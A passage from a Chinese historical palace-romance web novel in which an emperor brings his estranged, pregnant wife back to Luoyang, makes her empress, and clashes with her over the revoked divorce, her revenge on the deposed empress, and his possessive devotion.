“韩总管,不,现在应该叫一声韩大人才对,大人可还有话要替别人带给我?” 韩泽当然不止领了一个旨意来,新帝给他交代的,不止是要这个孩子好好的,还要将自己的皇后带回去。 新帝还给了他指了条明路,说是让他把还在王府的小公子和苏媪带上。 他是听了话将几个人带来,可快到青镇时才想到,若是真的用小公子还有乳娘来说事,依照皇后的性子,想必是要动怒。 到时候不说皇后自己不要肚子里的孩子,怕是也要被他的话气没了… 新帝交代的这两件事,怎么看也不像能一起办成的。 韩泽眼睛骨碌碌地转,实在想不到办法,心一横,干脆闭眼噗通跪下,头一磕。 “皇后娘娘赎罪。” 千里迢迢跟来青镇的太医见了,不明所以,也只能一同也跟着跪,“娘娘赎罪。” 这架势,站在一旁的紫芯吓了一跳。 岑璠静静看着,心越来越冷,淡淡道:“我已和他和离,不是什么皇后娘娘,你们找错人了,都起来吧。” 韩泽未起身,他想说那和离书不曾呈给先帝,也并未公之于众,如今还被墨群偷拿了去,算不得数。 可话到嘴边,又是一句,“娘娘说笑…” 像是一颗石子被扔进潭水里,砸起点水花,却掀不起什么风浪。 岑璠想骂两句,却是伸手打不了笑脸人,不知道该如何骂。 房内静了许久,乳娘进来时,岑璠也不觉得有多意外。 他会用乳娘她们作为筹码,逼她回去,这是他会干出的事。 整个魏国都成了他的,她若是想跑,除非避开他的人南下。 换句话来说,她根本跑不掉。 岑璠胸口滞了口气,想到自己像是羊圈里被放出来吃草的羊,跑了一大圈,最后只是被他戏弄了一番,气血上涌。 一阵刺痛又从腹中传来,她身子晃了一下。 乳娘笑容满面,刚准备说什么,便被她这般反应吓了一跳。 周围的太医心也纷纷吊起,为首的医官挺起身,膝往前挪了些。 乳娘手足无措,干脆坐在床上,“姑娘可是觉得疼?可觉得肚子坠?” 岑璠不答,乳娘“哎呦”一声,到处看了看,最后低下身,掀开她的裙摆一角,才松了口气。 还好没有见红。 “姑娘啊,咱们先不说别的,还是让太医先看看吧。” 紫芯也担心,附和道:“姑娘,小产也伤身子,还是先让太医看看吧…” 韩泽见状,拍了一下太医首,使了个眼色。 太医心领神会,默声上前,仔细探起她的脉象,不过一时半刻便有了结论,可一想到这是新帝的第一个孩子,不敢怠慢,便又多看了几眼这位小皇后的脸色。 他默念了几个药方,后面的一位太医利落地取药材,乳娘亲自将药拿出去煮,各司其职,一气呵成。 岑璠微微闭上了眼,一句话也不说,似比刚才平静了些。 太医首道:“娘娘这胎不过两个月,胎象不稳,不宜再赶路,不如在这里暂歇几日更稳妥。” 韩泽点头肯定,掐指算算,若是这孩子只有两个月,此时回去胎还不稳。 若是见到陛下,怕是比现在还要更生气些,倒不如晚十几天回去,先把这一胎的头三个月在路上坐稳再说。 到时候的洛阳,也能更太平些。 其他人便这么替她做过决定,反倒是做皇后的,对自己肚子里揣的孩子做不了什么主… 这一行人来,显然带了不少东西,喝过药后,岑璠床上的褥子便被铺厚了许多。 珝儿也进屋,盯着她的肚子看来看去,像是在看什么稀罕玩意儿。 岑璠留他一起用晚膳,那晚膳也变得精细起来,好几道是她在府中爱吃的,还有些见都没见过。 岑璠甚至怀疑,他从宫里派了御厨来。 宫里的太医想来是擅长此术,药效起得比前些日老郎中开的快许多,也更苦些,到了晚上,肚子便不疼了。 可一想到过些时日,自己会被带回洛阳,便难以入眠。 那个地方,她厌恶的人,可要比晋王府多。 她肚子里的孩子,也会是她首先要面对的麻烦。 他和她都活得很糟,他活了二十多年,连自己是谁都没弄明白,而她虽认得清自己是谁,却也不知道自己的归处是哪里。 他不会是个好父亲,而她也不会是一个好母亲。 这个孩子有他们这样的父母,会很可怜。 岑璠一手抚上自己的小腹,有一刹那,很想用力去锤自己的肚子。 可最终还是停住了。 事到如今,留不留这个孩子由不得她。 她很了解他的恶劣,她有过孩子,给了他念想,即便是这个孩子没了,他也定然会把她留在身边,即使这个没了,还会再让她有第二个… 说不定还会牵连她身边的人。 手从肚子上离开,岑璠抹掉眼角的泪,拉紧了身上的被子。 这床被子也是新换的,用蚕丝填满,很是柔软厚实,对于岑璠来说却实在是有些热,便又将那床被子踹开。 这是她前几日便能感知的身体上的变化,现如今才知道这些不适是怎么回事。 * 岑璠在青镇足足修养了十日,那些太医每日都会给她把脉三回,所有人围在她身边,提心吊胆的。 有人是在担心掉脑袋,有人也是真的是希望她肚子里的孩儿能平安。 总之,没什么人希望这个孩子保不住。 岑璠也渐渐变得平静下来。 直到太医点头,韩泽才叫人收拾好回去的车马。 她乘的是一辆牛车,车中的毯子也被铺垫好几层,坐在上面丝毫感受不到颠簸。 队伍浩大,出发没多久便兵分几路,他们走的那条路平坦,却也不是寻常大道,时不时还会派出去几波探子先去四方探路,很是谨慎。 过大河时,一行人走的浮桥,过河后岑璠却呕吐不止。 直至华郡还一直如此,无从缓解。 岑璠靠在马车上,眉头整日不曾舒展开,槿儿和紫芯跟着着急,乳娘却说害喜都会是这样。 就连太医也只是开了些止吐的方子,嘱咐道:“娘娘若是难受,可以吃些酸食。” 韩泽来时,新帝便让人寻了很多梅子,让挑了最酸的送来。 他献宝似的呈上,岑璠嚼了一颗,便吐了出来。 那梅子酸到发苦。 韩泽也不敢说什么,默默收了剩下的梅,原封不动放回他那里去。 至华山郡境内,队伍转而行大道,岑璠也知道,路过此处便快要到洛阳。 车过高陆,郑峋身着官服,亲自来迎。 岑璠出于礼节,到底下车端端正正行了礼,随后便被请上了一架楠木香车。 仪仗一路开道,声势浩大朝洛阳而去。 先帝崩逝时,未留传位遗诏,却的确留了一道废后的圣旨。 废后所出的太子孱弱,大皇子未经开化,五皇子尚在咿呀学语,唯一可以继位的也只有这个手握兵权的二皇子。 新帝登基一月有余,起初四方皆有动乱,镇压地却也快,如今洛阳附近郡县倒都还算安稳。 只是这位新帝迟迟未行登基大典,朝中也有人猜测,新帝是在等曾经在晋王府的王妃。 新帝还是晋王时,与王妃伉俪情深,乃是一段佳话。 只是朝中这些日也有旧臣反对,无非就是因为王妃身份低微,不堪母仪天下。 新帝没有处置这些旧臣,却也没有另封皇后的意思。 前些日子倒也有几道声音,说是晋王府的那位王妃已经到了洛阳。 后来发现都是假消息。 一次次假消息传多了,在意的人便也少了,甚至有不少人猜测,新帝已经打算另选皇后。 可这一日,那位留在晋王府的王妃,真的被抬进了洛阳,皇帝仪仗,羽林军开道,北镇而来的军队夹道行礼。 不似传闻中来得悄无声息,而是声势浩大,广而告之。 想把自己女儿送进宫的贵族世家,还没让画师画出一幅满意的画,便被阵仗掐灭了念头。 未等第二日上朝,新帝身边的近侍宣读了封后的诏书,将凤印也带给 了皇后。 至于前些日反对声,一时间都成了耳旁风。 岑璠进宫后,便被带进了含章殿。 先帝驾崩于显阳殿,元衡登基后不曾去过,一直住在东侧的含章殿。 至于那宣光殿住的废后,他还未曾让人挪走,他也不愿意她住在后宫,离后宫的女人太近,索性便将她留在自己的住所。 含章殿比起显阳殿不算宏伟,却也宽阔,殿内的柱子上镶着龙凤,寝殿用六扇屏风隔开,殿内铺着一层绒毯。 岑璠听到了韩泽宣读的圣旨,看见了摆在桌上的凤印和诏书,却一日不曾见到那位新帝。 槿儿几个也被带进宫,只是那宫服繁复,几个人在王府侍候过一段时间,都不知道该如何帮她换上。 韩泽倒也考虑到了这一点,将尚衣局新任的文绣大监领到含章殿。 岑璠却只想先睡一觉。 女官懂得分寸,不曾劝说,只让这刚进宫的皇后先试了身梨花白织锦寝衣,见尺寸刚好,便无声退下。 文绣大监退出大殿时,瞥到了桌上的凤印。 那样重要的东西,被人争来抢去,现在却被明晃晃留在在桌子上… 岑璠并未理会那凤印,闭眼侧身,本没打算睡。 可大殿太过安静,竟真的就这么睡沉了。 再睁开眼,是乳娘叫醒的她。 殿内已经点了几盏烛火,乳娘将那青釉药碗放在小案上,扶她起来。 “娘娘先醒一阵,别晚上睡不着。” “乳娘还是别这么叫我了,不习惯。” 乳娘顺着她的话,又改回了称呼,“姑娘先把药喝了吧。” 岑璠将那药端起,屏住鼻息饮尽,便听到寝殿外的宫女的一声“陛下”。 这声陛下,对她来说到底太陌生了。 那碗安胎药的味道在口中愈发泛苦,岑璠将药碗交给乳娘,并未起身。 乳娘双手捧着药碗,见到元衡时行了一礼,便离开了。 岑璠知道面前的人是皇帝,仍未行礼。 消磨了一路,如今也没了什么脾气骂他无耻。 元衡显然也没有计较什么礼数,沉稳的步伐在看到她的那一瞬间,顿了一下。 再迈开步时,竟像得了失魂之症,走得左摇右晃的。 直到他走到面前,岑璠才抬起头来。 他的目光直白地盯着她的肚子,缓缓伸出手来,带有玉扳指的食指微微颤抖,骨节小心翼翼地点在她尚未隆起的小腹上。 碰到的那一刹那,他咧开了一个笑容,那笑似要弯到耳后去,却不怎么好看… 细细看去,那眼底似还有些闪烁。 他微微侧头,手指轻轻在她的肚子上蹭扫。 “皎皎,这是咱们的孩子…” 第98章 第九十八章想骂就骂,想打也行 那声音轻得像一阵和煦轻风,配上他的声音,却让岑璠椎骨发麻。 岑璠闭上眼睛,“陛下觉得很有意思吗?” 元衡像是没听见,除了盯着她的肚子,似乎也没有什么别的事想去在乎。 他爱不释手,手指划过她的衣裙,却忽然想到,前几日太医说过,不能常去摸她的肚子… 他立刻收回了手,即便只是触碰也不敢。 刚撒开手,又觉得离那孩子太远,他干脆跪在地上,却又怕惊扰到她肚子里的小家伙,耳朵只轻轻贴在她的腹上。 什么也听不见,他不满足,轻按住她的腰,想让她再靠近些。 岑璠道:“陛下,这孩子还没个形,听不到的。” 元衡倒真听了她的话,按在她腰上的掌离开,却是侧开头,轻轻枕在她的膝上。 他抬眼看着她,眼底像是潭深水,细长的眼尾似能勾魂。 “皎皎,咱们有孩子了…” 寻常的夫妇有了孩子,约莫都会说这么一句话。 岑璠到底是清醒着。 她手往后收了些,连带着要收回自己的腿。 元衡从她的膝上起来,却还是不肯站起身,扶住她的膝,又盯着她的肚子,忽然又发现了什么,道:“应该已经三个多月了,怎么还看不出…” 他这么说着,便又要上手。 岑璠按住了他的手背,“每个人都不一样,现在看不出,实属正常。” 前几日槿儿也问过,她只不过是将乳娘和太医的话复述了一遍。 元衡认真地点头,又仰头多看了看她,“皎皎这几个月在外面,是瘦了。” 岑璠低头,毫不留情地纠正:“陛下此言差矣,是因为这个孩子,我才遭罪。” 她也没再给他说那些话的机会,紧接着道:“陛下也该同我谈谈正事才对。” 元衡低笑,仍像是听不懂,抬头时脸上还有笑意,“刚才咱们说的,难道不是正事吗?” 岑璠嘴角微动,到底是记得他是皇帝,忍住想要往他脸上打一巴掌的冲动,提醒他,“陛下可还记得那封和离书?” 她直视他,明显看到他脸色沉下去一瞬。 不过也只是片刻,元衡便又恢复了那副笑脸。 他避开她审视的目光,趴伏在她的膝头,摇头道:“朕不记得,那封信也不在皎皎那里了,不是吗?” 话一说出口,岑璠便知道,他又不打算要脸了。 这世上,也没有多少人会让自己的手下偷前妻的和离书。 要不怎么能当皇帝呢…… 岑璠冷笑一声,剩下的话便不打算再说出口。 元衡问过太医,她这一胎路上已经坐得稳当,可到底是不愿她太生气。 “皎皎,是我的错,你现在心里想的是对的,我就是卑鄙。” 他话说得急,就连那帝王尊贵的自称都忘了去。 可他到底是没忘记被弃在桌上的凤印,轻步走去,将那枚金凤印拾起来,坐回她身旁,摊开手心。 “这枚凤印以后交由你保管,你拿着。” 他伸出手来,那枚宝贵的金印便骨碌碌地滚到她的手心里。 “再过半月便是登基大典,封后也会在那日,你就走个过场,咱们当是再办一次大婚,那和离不作数的。” 岑璠道:“那若是我不愿呢?” 元衡嘴唇动了动,又装起傻,“你可是觉得这凤印被其他人碰过,觉得脏?” 他又将那枚印拿走,“你若是不喜欢,朕可以叫人将凤印熔掉,咱们再铸一枚喜欢的。” 这话凭岑璠听了也觉得荒谬,“陛下还未举行大典,便要熔凤印,就不怕外面人给我冠上一个妖后的名号?” 元衡想说,就算不熔这个凤印,这个妖后的名号,她怕是也要担的… 他这一生,若是只有她这一个皇后,那些人肯定要说她是妖后。 可他只想要她,还有她肚子里的这个孩子。 他本以为命运想让他变个笑话,他那么想让她有个孩子,却告诉他,她曾经被他害得小产。 他那么想报仇,却告诉他,他连自己是谁都没弄明白。 可她现在怀孕了… 好像一瞬间,他又什么都有了。 他是卑劣,她怎么怨他,他都认。 元衡没有讲这些话说出来给她添堵,捧起她的手,手背轻轻贴在他的脸上。 “皎皎若是想骂,那便骂吧,想打也行。” “陛下说笑了,打您那可是大罪。” “没事的,你若是想打那就打好了,这是咱们自己的家,关起房门来没人知晓的…” 说罢,他便是付诸行动,握住她的手腕,用她手背打在脸上,清脆作响,并不算轻。 在岑璠看来,他现在疯的不轻。 她用力抽回手去,问道:“殿下之前说,要让我报仇,可还算数?” 元衡看着她纤白的手,手心仿佛还存有余温。 他平静道:“当然作数,人还留在宫里,朕记得答应你的,没有杀她,找人看着呢…” “咱们先把孩子生下来好不好?现在杀人,孩子会害怕的…” 岑璠冷笑一声。 他这哪里是为了孩子,分明是怕她回来只是为了报仇,要挟她罢了。 她便又问,“那珝儿呢?他也要留在皇宫?” 元衡似早都想好了,似是顺理成章地颔首,“他留在宫中,朕亲自去请太子太师教导他,皎皎觉得可好?” “珝儿愚钝,陛下倒不必如此。” “那朕便请几位士大夫进宫。”他又想到孩子,眼中似都含着光,“等咱们的孩子出世,朕再给他选个好老师,咱们一起好好把他养大…” 岑璠剜了一眼,本想问他,他自己在宫里都活的人不人鬼不鬼,父子如同仇敌,母亲也是仇人,如何能将一个什么都不懂的孩子养好。 可话到嘴边,终究觉得有些残忍。 她保持沉默,元衡却低下身,对她肚子里那块儿肉显然还没亲近够。 他轻轻吻上她的小腹,对她孩子说出的话却称得上无耻,“你说,咱们让舅舅在宫里一起陪你好不好?” 岑璠下唇微收,忍了又忍,最终还是吐出一个字,“滚。” 元衡并无惊讶,似是早就料到她会说这一个字,当真站起身,自己利索地滚了出去。 他前脚刚走,便有宫女鱼贯而入。 这一批宫女,都是元衡亲自从各宫挑来的女官,很多人曾经官位不高,重在家底清白。 为首的宫女名叫芸蚕,曾在浮华宫当差,后来公主出嫁,便去做太液池的洒扫,如今也算是熬出头,得了伺候皇后的好差事。 这位皇后,她从前在浮华殿就常常听说。 公主此前,还和当今圣上争执过。 她能看得出,刚才陛下分明就是被赶出去的,半边脸还有红印子… 芸蚕想到此处,又抿住了唇。 这宫里的大太监周公公说过,新后好相处,她们来到此处,唯一要做的就是嘴严。 无论发生了什么,一个字都不要往外传。 这宫里也有几个晋王府跟来的老人,也明里暗里都同他们暗示过,其实帝后的关系并没有传闻中的那样好… 可多半却是陛下单方面热脸贴冷屁。 那被打红的半边脸便是证据。 芸蚕不敢多揣度,在侍候皇后沐浴时又多看了几眼。 那从北地抬进宫皇后,鬓上未加冠饰,像是水乡养出来的,肤如凝脂,比宫里其他的娘娘确实好看些,腰肢纤细,看不出来像是有身子的人。 也难怪皇帝像是丢了魂似的。 至于刚才看到的,只当是烂在宫里。 这是新帝的第一个孩子,也是这位皇后娘娘的头胎,后宫上下只这么一个主子,皇后年龄尚小,照看的人多,伺候的也格外精细。 那浴池要比在王府时大许多,池水却是一直暖热,稍微凉一点,便有人立刻添上热水。 出浴时,立刻有人拿来干布子,擦干地上容易打滑的水雾。 岑璠大概数了数,一趟沐浴下来,前前后后伺候的不下三十个人。 她也没有阻止。 她泡的池中撒了几味药材,回寝殿,熏炉中的熏香,亦有一股清苦的味道。 不待她问,乳娘便向她解释,“陛下念着姑娘有身子,特意将平日里用的沉香换了,这香能助眠,还能缓解害喜之症。” 乳娘解释后,盼着她能说点好。 岑璠盯了那香半晌,却径直上了那龙榻,“熄灯吧。” 乳娘愣了愣,想要提醒,“姑娘,这里是含章殿…” 皇帝的寝殿,哪里有不等皇帝回来灭灯的道理? “乳娘不也说,这香助眠,我困了想睡,他不会怪罪的。” 乳娘拗不过她,和寝殿里的宫女灭了灯。 灯刚灭下不久,那道厚重的殿门便又打开。 床幔还未放下,元衡上前走了几步,却见她双臂张开,诺大个床便被她占满了。 分明就是故意的,她从前哪里这样睡过… 元衡到底是没想着麻烦她,静悄悄地围着龙榻转了一圈,只想着找一个能让他挤一挤睡上去的地方。 到底是没怎么找到。 他没了法子,立在床边,轻唤道:“皎皎,让朕上去好不好…” 并没有声音回应他。 毕竟没有办法叫醒一个装睡的人。 元衡守在一边,守了许久,可她始终没有让出位置来。 他一时也不知道她是不是真的睡着了,只好躺去不远处的贵妃榻上。 空旷的寝殿太过寂静,不过一会儿,他翻了个身,随后便又起身,走到自己的床前,走了半圈。 他挑好了个位置,小心翼翼地自床尾向上爬,没有枕枕头,躺在了她臂靠下的空位。 这个位置,眼睛刚好在她的胸前,靠近她的肚子。 元衡颇为满意,蜷起自己的腿,便也算是整个身子上了床。 她身上有淡淡的药香,却也遮盖不住那熟悉的气息。 先帝驾崩前,他一个人宿在这殿中,无她陪伴时,他每个夜晚都会睁眼到后半夜。 他忍不住去想,下半辈子若一直无她在枕边,会怎么样。 现在想来,好像比上辈子死了还要难受。 现在都回来了。 他希望这一胎是个小子… 他不知道她下一次愿意给他生,会是什么时候,若是这一胎是个男孩,他便将他封为太子,继续将那避子的药喝下去。 总不能一直扣着废后和珝儿,让她恨他一辈子。 得让她知道,他其实也能做个好人吧… 可如果这一胎是个小公主,他约莫还要再骗她生一个了… 若再个小姑娘,那他约莫也只能认了。 他见过母后生元斓的时候,是疼的…。 元衡一直睁着眼,畅想了许多,想到那场梦,小孩子趴在她的膝上,她手里捧着一本书给孩子讲故事。 那声音温柔似风,美好到让人不想看见现实。 他微微弯唇,无声朝她的肚子说了声,“父皇会一直在,睡吧。” * 新帝登基后勤于朝政,到上朝的日子,向来不用人进殿去叫。 皇后进宫的第二日,帝王却是没有起。 眼瞧着要误了时辰,大太监周照进殿,想着叫皇帝出寝。 他走进殿内,习惯性跪下,还未行礼,却是发现龙榻的帐幔一夜都没有放下。 不仅如此,连皇帝都看不到。 他昨夜亲眼见着新帝夜里回了含章殿,当是没有出来才对… 大太监实在纳罕,大不敬地直起身,微微起来些,看向床榻。 只瞧了一眼,便又跪了下去,俯身叩首,将头埋了起来。 帝王确实还在龙榻上睡着,只不过蜷在一角,连个枕头也没有,倒还不如不看… 大太监一时犯难,思索许久,终于颤颤巍巍地说了声,“陛下,快到上朝的时辰了…” 第99章 第九十九章皎皎心里其实也是喜欢朕的…… 太监这一声唤,岑璠却先醒了。 她收回手臂,手却是敲到了他的头。 这么一敲,元衡便是睁开了眼。 那么大个人就缩在自己的右手手臂下,朦胧的眼睛抬起,显得有些无辜。 岑璠吓了一跳,赶紧收回手,朝左侧挪出位置,身上的锦被像是水一样滑柔,一不小心没抓住,便从掌心滑落。 她也没来得及顾及还跪着的大太监,低头问道:“你…你在做甚?” 元衡有一瞬的恍惚,彻底醒后才反应过来,她昨天已经被接回到他身边了。 他已经很久没有睡得这般沉了… 他坐起身来,离她又近了些,露出昨天那副人畜无害的笑容,“皎皎昨日睡得如何?” 他窝在床上一夜,侧边的头发都散了许多。 这张脸再配上这样的笑,若不是她知道他是帝王,还以为下一刻他要伸手问她要银两呢… 他越来越近,唇靠近脸颊时,岑璠手抵在了他的胸前。 她手往床外指去,元衡总算注意到跪在地上,一声不吭的周大太监。 元衡收起笑,坐端了些 ,将床上的锦被拾起来,披在她的肩头,道:“你起来,先下去吧。” 他正色道:“以后上朝,让皇后身边的乳娘先进来。” 大太监领会了意思,站起身来,退出寝殿。 待到寝殿里没了人,元衡又露出了笑容,还是忍不住凑到跟前,在她的脸颊上印上一吻,“皎皎再睡会儿吧。” “昨晚的事,殿下不准备说些什么吗?” 元衡觉得委屈,“这是朕的床…皎皎昨晚又没给朕留地方…” 岑璠想说他不要脸,却又觉得他现在像张厚牛皮,不吃这套。 她想了想,道:“我明白了,这皇宫里宫殿众多,今日我便去别处。” 元衡愣了愣,有些慌了神,“朕没有要让皎皎走的意思,皎皎就和朕一起住在这儿…” 岑璠笑道:“陛下,从古至今就算是皇后,也不该常住在这里才对。” 元衡微低了点头,看她的眼神似又一点怨怼,“皎皎,这规矩是朕说的算,朕就打算要你这么一个皇后,你就当这里还是王府,和朕住在一处好不好?” 岑璠并不想日日和他住一处,她昨日将他赶走,本也就是不想一睁眼就看到他,图个清净。 “陛下,我有身孕,不方便侍候您。” 元衡更不当一回事,“皎皎也不必担心这个,朕能管得住自己,朕留在这里侍候你如何…” 岑璠哑口无言,自己又躺下,背对着他,“陛下说笑。” “您该去上朝了。” 元衡倒也有自知之明。他当了这皇帝不过半个月,上到南北两境,皇帝丧事,下到各家争吵,都要管上一管。 有的时候想做什么,还要有人长篇大论来说这不行,那不行。 今日上朝,肯定也有人要反对他封她为后,想要把自家的女儿塞进宫。 元衡想想就觉得烦,他一个皇帝,难道就不能有一个自己想要的家? 元衡起身,回头看了看她。 他用这种手段把她接回宫,不论如何,都要把他和她的家守住,才算对得起她…… 穿好那身沉重的龙袍,元衡去了太极殿,坐上那把龙椅,手中还攥着昨日给岑璠的诏书。 昨日那位晋王妃被接进宫时声势浩大,用的还是皇后的仪仗,今晨进宫的大臣无一不知。 新帝勤勉,先帝先前未能处理的政事,这半个月几乎都有了着落,上朝也从未迟过。 除了今日…… 元衡朝会上第一件事,便是将圣旨交给周照,当着群臣的面又宣读了一遍。 朝会之上一片寂然。 “皇后已有身孕,近日奔波劳累,胎象不稳,册封仪式便和登基大典一同,在半月之后进行。” 此话一出,不少人暗中四目相对。 皇帝的意思他们倒也听得出,皇后胎象不稳,此时站出来说事,说不定就要被扣上一个谋害皇嗣的罪名。 不过总归那去母留子的规矩还在,之前也不是没有皇帝娶女官做皇后,等太子出生后去母留子。 说不定当今皇帝也这么想,既不得罪世家,还能得个好名声。 这样一想,朝会之上便也无人反对,郑峋先一步行礼,道了声“恭喜陛下。” 朝堂上一声声贺喜此起彼伏,一时倒真分不清谁是真情谁是假意。 只是也有摸不清状况的,那济阳蔡氏便站出来,说后宫只有皇后一人,让他充实后宫。 元衡脸上浅浅的笑意骤然收起。 自新帝登基以来,众臣还未在新帝脸上看见过什么怒意。 “朕刚才说了,皇后胎象不稳,爱卿在这时说此事,所谓何意?” 叶麾连忙下跪,想说皇后不宜善妒,却卡在喉咙里怎么也说不出口。 元衡没要他的命,可也没打算就这么放过,“拉下去,太极殿前杖二十。” 蔡麾浑身冒了冷汗,好在只是杖责,出丑罢了,倒也没真的丢官,干脆认下了自己的过失,下去领罚。 封后的事便算是这么定了下来,随后朝堂上又商议几件正事,便散朝了。 元衡从太极殿出来,正要去西堂,却遇上墨群。 墨群拱手一礼,却欲言又止。 元衡主动开口,“你此番护佑龙嗣有功,想要什么赏赐?” 墨群道:“属下不敢居功,是太医细心照料,娘娘才能平安。” 元衡走进西堂,只让墨群一人跟着进去。 “既不是为了赏赐,那为何而来?” 墨群低下头,道:“属下不敢妄议,可在祈州之时,属下听闻宫中曾经有位昭仪诞下皇嗣,和殿下同一日生辰…” 他顿了顿,才继续说道:“属下听到皇后那日说,那位昭仪不吃梅…事后问过紫芯姑娘,皇后娘娘见到过那位昭仪的婢女,这话也确实出于那婢女之口…” 元衡没有说话,一双眼如同摔碎的镜子,眸中有棱角,镜面在审视他。 “旁的人听到这些,怕掉脑袋,都会选择隐瞒,你倒是敢说。” 墨群慌忙跪下,“陛下对属下有救命之恩,属下只负责说自己听到的,其他的交由陛下决断。” 元衡笑了笑,也未多说什么,“朕知道了,这次你有功,朕赏你黄金百两,再任命你为中郎将,你觉得如何?” 墨群有一瞬的惊讶,可他并没有接旨,“陛下恕罪,皇后娘娘待属下不薄,属下却有所欺瞒,属下还是想留在娘娘身边赎罪。” 墨群说他有罪,元衡却是知道,这罪魁祸首其实是他自己。 “罢了,那你便留在朕和皇后身边,做个近侍。” “谢陛下。” 元衡没再说什么,“下去吧。” 墨群走后,犹豫片刻,向含章殿走去,却恰好遇到岑璠和她身边的乳娘。 岑璠晨起后,便有女官为她量衣,裁制册封仪式的礼服。 发髻也被重新梳起,头戴牛头鹿角簪,身上穿的襦裙乃南边而来的云锦所织,腰间的帛带明显束得松了些。 墨群行礼,“参见皇后娘娘。” 自他们返程回洛阳,岑璠便没怎么再同墨群说过话。 就算是现在,也觉得没什么好说的。 岑璠没有看他,径直向前走,而后转了个弯,向永巷的方向去。 墨群道:“娘娘要去哪里?” 岑璠道:“怎么?他连这个都要你来管?” 墨群听得出她话中的嘲讽,抿了抿唇,道:“属下知罪。” 岑璠道:“人为其主,怎是有罪?你也并非是我的属下,反倒对我有恩,不必这般自称。” 墨群没有答话,坠在她身后。 她穿过永巷,墨群也渐渐能猜出,她要去做什么。 岑璠抬头看了看宣光殿,走上宫阶,门口有侍卫把守,显然是预料到她要来,“废后时而会伤人,娘娘还是莫要进去好。” 岑璠将那枚凤印拿了出来,不容商量地命令,“本宫想进去。” 那侍卫不为所动,“娘娘莫要为难。” 岑璠合起掌心,沉默许久,那侍卫也不曾再抬头。 她转身离开,步子变得快了些。 乳娘一路跟着,嘴里小声念叨:“娘娘慢点…” 墨群静静跟着,却也时刻注意她的脚下。 岑璠一路回了含章殿,顺便将墨群关在了门外,午膳后吐了好几口。 来给她看诊的还是前些日子那批太医,太医问了问,大概也清楚了原因。 得,这下他们也不用去编什么皇后胎象不稳的胡话了。 皇后确实心气郁结,是被气着了。 太医叹了口气,只能请宫中的女食来一趟,核对皇后的饮食,再添些温和脾胃的药膳。 元衡听了此事,也抽空从太极殿回来了一趟,恰好赶上她午睡起来。 帐幔还未掀起来,乳娘拿了痰盂来,她呕出一口秽物,而后又憋了好几口干呕。 元衡静悄悄地走进,到了跟前,乳娘才去行礼。 他坐到床边,拍了拍她的背,“皎皎可是难受?” 岑璠不想搭理他,甩开他的手,让乳娘把那枚凤印拿来,塞回他手里,“这印陛下自己留着吧。” 此话一出,乳娘愣住,跟着元衡进屋的宫女也低下头。 元衡来时便知道发生了什么事,先将那印自己攥了起来,接回宫女手上的梅子,将寝殿里的人都赶了出去。 “皎皎可是又生气了?” 岑璠冷笑道:“陛下告诉我,您给的这枚印有什么用?” “自然是怎么用都行,你想用它来砸人,其实也不是不可以。” 说完这话,元衡低头看了看那枚不算大的凤印,一时间觉得自己像是个昏君… 他打开那盒梅,道:“皎皎若是难受,吃几颗梅子吧,朕找人挑的,最酸的。” 岑璠心里又涌起一阵火,“殿下怎么不自己尝一尝,这梅子好不好吃?” 元衡愣了愣,随后竟真的咬了一小口,只是刚用牙尖咬下来一小口便吐掉了。 想要将准备的宫人叫来质问,却又想到是自己的主意,只能做个受委屈的哑巴。 “不吃便不吃罢…” 岑璠看着他的举动,忍不住脱口而出一句,“疯子…” 元衡手里还捏着那块儿被咬剩下的梅,说不出的平静,眼中似乎还带有笑意,“皎皎,我可能确实是个疯子…” “这么多年,我每日都在想怎么为母后报仇,最后发现她才是我的杀母仇人。” 他平静地将这些话说出口,岑璠惊讶,更莫名畏惧。 “你……” “我知道。”元衡接过她的话,“皎皎也早都知道了,不是吗?” 岑璠从未想过,他知道后会是这般反应。 像是无所谓,又像是从里到外将一个人挖成了空心的。 那颗空心,如同低处涸泽,急需要再次被填满。 他低下头,将那枚凤印又放在她的手上,轻轻捏着她的手指,“皎皎知道这些,为何不告诉朕?” 这个问题岑璠也不知道该怎么说,他毕竟救过她,这种事说出来,就像敲碎人的骨头,对于一个人来说太残忍了。 “皎皎,你是怕朕难过,对吗?”他自问自答,蓦地又弯起一个满足的笑容,“皎皎心里其实也是喜欢朕的吧,不然也不会纵容一个疯子,不对吗?” 第100章 第一百章显怀 他看她的眼神太过迫切,似是真的在期待她的答案。 “陛下——” 误会那两个字没能说出口,元衡摇头,“皎皎不愿意说,那便不说了。” 他还是坚持将那枚凤印放在她的手心,让她攥住,“这凤印你拿着,想用便用,想扔了也成,只是别靠近那里,太危险了。” “朕只要你和孩子好好的” 岑璠笑道:“陛下九五之尊,不如直接说,留着皇后是因为怕我动想走的心思,何必惺惺作态,用孩子来说事?” 被揭了短处,元衡微微绷起唇角,像是在怨她,却不敢动怒,还有些心虚。 “朕不是因为这个”他狡辩道:“废后连先帝都敢刺杀,朕是真的担心” 他蓦地又露出笑容,“你若实在难受,想要出气,朕倒是想到一个法子。” 岑璠看向他,等着他说下去。 他搂住她,低声想说什么。 呼吸如同羽毛在耳畔搔痒,岑璠躲开他,“这里就你我二人,殿下不妨直接说。” “还有他呢”元衡低头,手指轻轻触在她的肚子上,“这些事叫他听了去,会学坏的” 岑璠拿他无可奈何。 他一个皇帝,怎么会觉得她腹中这个孩子能听得懂。 况且他们都不是好人,孩子就算现在听不到,将来有他们这样的父母,怎会教好。 可他似真就那么相信,依旧压低声音,悄悄同她商量,声音像是一阵阴风,“朕那里有一幅文昭仪的画,那幅画本在宣光殿里,被皇后用画盖了起来,皎皎若是想报仇,可以多画几幅文昭仪的像,朕派人送去宣光殿,让她日夜看着” 那废后所做之事岑璠也有所耳闻,能将文昭仪的画像藏与自己的宫中,想来是执念深。 元衡这么做,无疑是在诛心。 那文昭仪是他的生母,可他上位后,也并没有认下文昭仪这个母亲,甚至要利用文昭仪的画像报复。 一个人被狼养久了,也会学咬人,只愿意待在狼群之中。 岑璠不知道该站在什么立场说此事,养恩也许真的要比生恩份量重。 就像是珝儿一样。 她道:“陛下不妨将那幅画给我,我看看怎么画。” 元衡点头,当日便让人将那幅采莲图拿来。 那文昭仪果真是美,比起那艳丽的皇后,就像是她手里拿的那一朵莲花,纯净温婉。 这宫墙果真害人,岑璠心道。 在宫内无事,岑璠除了学那册封的礼仪,时不时便画上一两张,虽不算认真打磨,但到底神态相似。 那凤印就放在她的桌上,可她整日在这含章殿中,也不知道这凤印能做什么。 她手里把玩着那把小印,拿来印泥,将画好的画依次盖上印。 元衡进殿时,恰好就看到她在干这个事。 “看来皎皎比朕能想到的还要多” 他接过她手中的印,自己也慢悠悠地盖了几枚印。 